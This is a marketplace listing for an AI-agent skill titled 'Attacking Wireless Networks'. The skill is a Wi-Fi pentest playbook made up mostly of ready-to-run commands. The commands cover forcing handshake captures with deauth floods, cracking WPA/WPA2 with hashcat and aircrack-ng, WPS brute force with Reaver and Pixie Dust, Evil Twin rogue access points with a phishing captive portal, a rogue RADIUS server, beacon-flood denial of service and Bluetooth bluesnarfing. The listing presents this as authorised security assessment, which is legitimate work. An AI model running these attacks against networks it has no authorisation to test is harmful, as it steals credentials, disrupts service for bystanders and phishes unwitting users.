# Attacking Wireless Networks

> Attack WiFi networks using WPA/WPA2 cracking, WPS exploitation, Evil Twin attacks, deauthentication, and wireless reconnaissance. Use when pentesting wireless networks or performing WiFi security assessments.

- **Type:** Skill
- **Install:** `agentstack add skill-evilfreelancer-secs-attacking-wireless-networks`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [EvilFreelancer](https://agentstack.voostack.com/s/evilfreelancer)
- **Installs:** 0
- **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml)
- **Latest version:** 0.1.0
- **License:** Apache-2.0
- **Upstream author:** [EvilFreelancer](https://github.com/EvilFreelancer)
- **Source:** https://github.com/EvilFreelancer/secs/tree/main/.agents/skills/attacking-wireless-networks

## Install

```sh
agentstack add skill-evilfreelancer-secs-attacking-wireless-networks
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Attacking Wireless Networks

## When to Use

- WiFi penetration testing
- Wireless network security assessment
- WPA/WPA2/WPA3 cracking
- Evil Twin and rogue AP attacks
- Wireless reconnaissance

## When NOT to Use

- **Wired network attacks** — use `enumerating-network-services`
- **Cracking the captured handshake** — use `cracking-passwords`
- **Bluetooth (Classic/BLE) or NFC** — not covered by the installed skills;
  GATT enumeration, card cloning, and RF sniffing need dedicated tooling. This
  skill is Wi-Fi only
- **Zigbee or general SDR work beyond Wi-Fi** — outside this skill's scope
- **Post-access network exploitation** — move to `performing-reconnaissance`
  once you are on the network

## Setup and Tools

**Enable Monitor Mode:**
```bash
# Check wireless interface
iwconfig
iw dev

# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon

# Or manually
ip link set wlan0 down
iw wlan0 set monitor none
ip link set wlan0 up

# Disable interfering processes
airmon-ng check kill
```

**Essential Tools:**
- aircrack-ng suite
- Wireshark
- Kismet
- Reaver/Bully (WPS)
- Wifite (automated)
- hcxtools/hcxdumptool
- Fluxion (Evil Twin)

## WiFi Reconnaissance

**Network Discovery:**
```bash
# Scan for networks
airodump-ng wlan0mon

# Scan specific channel
airodump-ng -c 6 wlan0mon

# Scan and save to file
airodump-ng -w capture wlan0mon

# Filter by BSSID
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon
```

**Kismet:**
```bash
# Start Kismet
kismet

# Command line
kismet_server
kismet_client

# View in web UI
http://localhost:2501
```

## WPA/WPA2 Attacks

### Capture Handshake

```bash
# Method 1: Wait for client connection
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Method 2: Deauth clients to force reconnect
# In another terminal
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Or target specific client
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# Verify handshake captured
aircrack-ng capture-01.cap
# Look for "1 handshake"
```

### Crack Handshake

**Aircrack-ng:**
```bash
# Crack with wordlist
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# With specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap
```

**Hashcat:**
```bash
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture-01.cap

# Crack WPA/WPA2 (mode 22000)
hashcat -m 22000 hash.hc22000 wordlist.txt

# With rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# Mask attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
```

**John the Ripper:**
```bash
# Convert cap to john format
hccap2john capture-01.cap > hash.john

# Crack
john --wordlist=wordlist.txt hash.john
```

## WPS Attacks

### WPS Brute Force (Reaver)

```bash
# Check WPS status
wash -i wlan0mon

# Reaver attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# With delay (less aggressive)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5

# Pixie Dust attack (if vulnerable)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K
```

### Bully (Alternative)

```bash
# Standard attack
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Pixie Dust
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d
```

## Evil Twin Attacks

### Fluxion

```bash
# Start Fluxion
./fluxion.sh

# Follow prompts to:
# 1. Select target network
# 2. Capture handshake
# 3. Create fake AP
# 4. Launch captive portal
# 5. Capture credentials
```

### Manual Evil Twin

```bash
# Create rogue AP
hostapd rogue_ap.conf

# Sample hostapd.conf:
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# DHCP server
dnsmasq -C dnsmasq.conf

# Sample dnsmasq.conf:
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8

# Captive portal (fake login page)
# Setup web server with phishing page
```

## WPA3 Attacks

### Dragonblood

```bash
# Dragonblood toolkit
# Tests WPA3 vulnerabilities (CVE-2019-13377, CVE-2019-13456)

# Dictionary attack (downgrade to WPA2)
# If SAE (WPA3) and WPA2 transition mode enabled
```

### Brute Force SAE

```bash
# hashcat WPA3 (experimental)
hashcat -m 22000 hash.hc22000 wordlist.txt
```

## Denial of Service

### Deauthentication Attack

```bash
# Deauth all clients
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon

# MDK3 (more aggressive)
mdk3 wlan0mon d -c 6
```

### Beacon Flooding

```bash
# MDK3 beacon flood
mdk3 wlan0mon b -f fake_aps.txt

# Create many fake APs
mdk3 wlan0mon b -n "FakeAP" -m -s 1000
```

## Automated Tools

### Wifite

```bash
# Automated WiFi cracking
wifite

# Target WPA only
wifite --wpa

# Target WPS only
wifite --wps

# Specific BSSID
wifite -b AA:BB:CC:DD:EE:FF

# With custom wordlist
wifite --dict wordlist.txt
```

### WiFi-Pumpkin (Rogue AP Framework)

```bash
# Launch WiFi-Pumpkin
wifi-pumpkin

# Features:
# - Rogue AP creation
# - MITM attacks
# - DNS spoofing
# - Captive portal
# - Traffic sniffing
```

## Enterprise WiFi (WPA-Enterprise)

### EAP-TLS/PEAP Attacks

```bash
# Capture EAP handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Extract RADIUS traffic
tshark -r eap_capture-01.cap -Y "eap"

# Rogue RADIUS server
# hostapd-wpe (Wireless Pwnage Edition)
hostapd-wpe wpe.conf

# Crack captured hashes
asleap -r capture.dump -w wordlist.txt
```

## Packet Injection Testing

```bash
# Test injection capability
aireplay-ng --test wlan0mon

# Fake authentication
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon

# ARP replay attack
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon
```

## Hidden SSID Discovery

```bash
# Passive monitoring
airodump-ng wlan0mon
# Wait for client probe requests

# Active probing
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF

# Deauth and capture beacon
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
```

## Bluetooth Attacks

### Discovery

```bash
# Scan for devices
hcitool scan

# Detailed info
hcitool info AA:BB:CC:DD:EE:FF

# Service discovery
sdptool browse AA:BB:CC:DD:EE:FF
```

### BluetoothHunting

```bash
# Bluesnarfing (file access)
bluesnarfer -b AA:BB:CC:DD:EE:FF

# Bluejacking (send messages)
echo "Message" | bluejack AA:BB:CC:DD:EE:FF

# PIN brute force
crackle -i hci0 -o pin.txt
```

## Quick WiFi Pentest Workflow

1. **Monitor Mode** - Enable monitor mode on wireless adapter
2. **Reconnaissance** - Scan for networks (airodump-ng/kismet)
3. **Target Selection** - Choose network (WPS-enabled for easy win)
4. **Handshake Capture** - Deauth clients and capture 4-way handshake
5. **Cracking** - Crack with hashcat/aircrack-ng
6. **Post-Exploitation** - Connect and perform MITM/sniffing

## Common Wins

- **WPS-enabled routers** - Often crackable in minutes with Reaver
- **Weak passwords** - Common WiFi passwords in rockyou.txt
- **WPA2 Transition Mode** - Allows downgrade attacks
- **Open guest networks** - No authentication required
- **Misconfigured Enterprise** - Weak RADIUS authentication

## Defense Detection

- Wireless IDS (WIDS) may detect:
  - Deauthentication attacks
  - Rogue access points
  - Evil Twin attacks
  - WPS brute force attempts
- Be aware of monitoring and physical security

## ATT&CK Coverage

_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._

**Credential Access** (TA0006)

- [T1040](https://attack.mitre.org/techniques/T1040/) Network Sniffing _(also Discovery)_ — see also `enumerating-network-services`
- [T1557](https://attack.mitre.org/techniques/T1557/) Adversary-in-the-Middle _(also Collection)_ — see also `attacking-active-directory`

Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.

## References

- https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi
- https://www.aircrack-ng.org/
- https://github.com/wifiphisher/wifiphisher
- https://www.kali.org/tools/

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [EvilFreelancer](https://github.com/EvilFreelancer)
- **Source:** [EvilFreelancer/secs](https://github.com/EvilFreelancer/secs)
- **License:** Apache-2.0

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** no
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-evilfreelancer-secs-attacking-wireless-networks
- Seller: https://agentstack.voostack.com/s/evilfreelancer
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.